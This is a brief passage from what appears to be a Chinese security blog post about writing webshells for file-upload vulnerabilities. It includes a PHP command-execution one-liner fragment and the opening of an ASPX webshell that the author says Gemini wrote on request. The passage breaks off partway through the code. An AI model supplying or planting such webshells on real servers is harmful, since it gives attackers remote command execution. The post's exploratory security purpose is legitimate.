從寫個 WebShell 發現,啊!原來我不會寫 C#
當你在一個網站上找到可以上傳任意檔案的漏洞時,下一步會上傳什麼呢?想必大家跟我一樣,總之就想傳一個 WebShell,以 PHP 來說,可能會是 或是 =`$_GET[cmd]`?>,但也僅限目標真的是 PHP 寫的,若目標是 ASP.NET 呢? 簡單,問問 Google 就行!或是更現代一點,問問 AI 就行。 於是我請 Gemini 幫我寫一個 ASPX 的 WebShell,而 Gemini 很快給了一段程式碼: <%@ Page Language="C#" AutoEventWireup="true" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import…